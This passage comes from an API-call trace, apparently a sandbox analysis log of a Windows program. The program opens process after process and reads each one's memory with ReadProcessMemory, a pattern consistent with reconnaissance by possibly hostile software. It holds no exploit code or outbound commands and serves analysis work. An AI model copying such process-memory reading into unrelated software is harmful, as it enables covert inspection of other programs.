ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0243.098] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0243.098] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f49eb5020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0243.098] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x18abe791330, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0243.099] malloc (_Size=0x7e) returned 0x20abc2abe80 [0243.099] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x18abe7919a8, lpBuffer=0x20abc2abe80, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2abe80*, lpNumberOfBytesRead=0x0) returned 1 [0243.099] free (_Block=0x20abc2abe80) [0243.100] CloseHandle (hObject=0x464) returned 1 [0243.100] _ui64tow_s (in: _Value=0xde8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3560") returned 0x0 [0243.104] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3560") returned 4 [0243.105] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0243.105] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0243.243] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde8) returned 0x464 [0243.244] GetLastError () returned 0x0 [0243.244] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0243.244] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x49f018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0243.244] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0243.244] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f1c70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0243.245] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f18f8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0243.246] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0243.247] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0243.247] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x49f020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0243.247] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0243.247] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.247] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f1938, lpBuffer=0x20abc27cb20, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0243.248] free (_Block=0x20abc27cb20) [0243.248] CloseHandle (hObject=0x464) returned 1 [0243.249] _ui64tow_s (in: _Value=0xdf8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3576") returned 0x0 [0243.253] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3576") returned 4 [0243.254] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0243.254] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0243.268] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdf8) returned 0x464 [0243.268] GetLastError () returned 0x0 [0243.269] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0243.269] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x468018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0243.269] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0243.269] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x371ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0243.269] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3718f8, lpBuffer=0x2dc24fc2d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0243.270] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0243.271] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0243.272] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x468020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0243.272] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3712e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0243.272] malloc (_Size=0x6e) returned 0x20abc284f50 [0243.272] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37195e, lpBuffer=0x20abc284f50, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0243.272] free (_Block=0x20abc284f50) [0243.273] CloseHandle (hObject=0x464) returned 1 [0243.274] _ui64tow_s (in: _Value=0xe08, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3592") returned 0x0 [0243.277] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3592") returned 4 [0243.278] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0243.278] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0243.480] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe08) returned 0x464 [0243.480] GetLastError () returned 0x0 [0243.481] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0243.481] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x21e018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0243.482] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0243.482] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0243.482] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x2dc24fc2d0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0243.483] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0243.485] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0243.485] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x21e020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0243.485] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0243.485] malloc (_Size=0x7a) returned 0x20abc2abc40 [0243.485] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e196a, lpBuffer=0x20abc2abc40, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2abc40*, lpNumberOfBytesRead=0x0) returned 1 [0243.486] free (_Block=0x20abc2abc40) [0243.487] CloseHandle (hObject=0x464) returned 1 [0243.488] _ui64tow_s (in: _Value=0xe10, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3600") returned 0x0 [0243.492] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3600") returned 4 [0243.493] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0243.493] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0243.510] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe10) returned 0x464 [0243.510] GetLastError () returned 0x0 [0243.511] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0243.511] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f1018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0243.511] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0243.512] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5c1d90, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0243.512] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5c18f8, lpBuffer=0x2dc24fc2d0, nSize=0x9e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0243.513] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0243.514] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0243.514] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f1020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0243.515] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5c12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0243.515] malloc (_Size=0xa6) returned 0x20abc285b50 [0243.515] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5c1996, lpBuffer=0x20abc285b50, nSize=0xa4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc285b50*, lpNumberOfBytesRead=0x0) returned 1 [0243.515] free (_Block=0x20abc285b50) [0243.516] CloseHandle (hObject=0x464) returned 1 [0243.517] _ui64tow_s (in: _Value=0xe20, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3616") returned 0x0 [0243.659] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3616") returned 4 [0243.660] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0243.661] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0243.681] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe20) returned 0x464 [0243.682] GetLastError () returned 0x0 [0243.683] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0243.683] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a6018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0243.683] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0243.683] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461d50, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0243.683] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x2dc24fc2d0, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0243.685] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0243.686] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0243.686] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a6020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0243.687] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0243.687] malloc (_Size=0x94) returned 0x20abc286870 [0243.687] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461984, lpBuffer=0x20abc286870, nSize=0x92, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286870*, lpNumberOfBytesRead=0x0) returned 1 [0243.687] free (_Block=0x20abc286870) [0243.689] CloseHandle (hObject=0x464) returned 1 [0243.691] _ui64tow_s (in: _Value=0xe28, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3624") returned 0x0 [0243.698] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3624") returned 4 [0243.699] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0243.699] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0243.963] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe28) returned 0x464 [0243.963] GetLastError () returned 0x0 [0243.964] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0243.964] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3af018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0243.965] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0243.965] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1d1d60, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0243.965] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc24fc2d0, nSize=0x92, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0243.966] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0243.967] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0243.967] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3af020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0243.967] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0243.968] malloc (_Size=0x9a) returned 0x20abc285730 [0243.968] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1d198a, lpBuffer=0x20abc285730, nSize=0x98, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc285730*, lpNumberOfBytesRead=0x0) returned 1 [0243.968] free (_Block=0x20abc285730) [0243.969] CloseHandle (hObject=0x464) returned 1 [0243.969] _ui64tow_s (in: _Value=0xe34, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3636") returned 0x0 [0243.973] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3636") returned 4 [0243.974] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0243.974] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0243.991] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe34) returned 0x464 [0243.991] GetLastError () returned 0x0 [0243.992] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0243.992] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20e018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0244.141] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0244.141] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x541d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0244.141] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5418f8, lpBuffer=0x2dc24fc2d0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0244.144] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0244.145] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0244.145] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20e020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0244.145] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5412e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.145] malloc (_Size=0x78) returned 0x20abc282120 [0244.145] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x541968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0244.146] free (_Block=0x20abc282120) [0244.147] CloseHandle (hObject=0x464) returned 1 [0244.147] _ui64tow_s (in: _Value=0xe3c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3644") returned 0x0 [0244.151] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3644") returned 4 [0244.152] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.152] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0244.167] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe3c) returned 0x464 [0244.167] GetLastError () returned 0x0 [0244.168] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 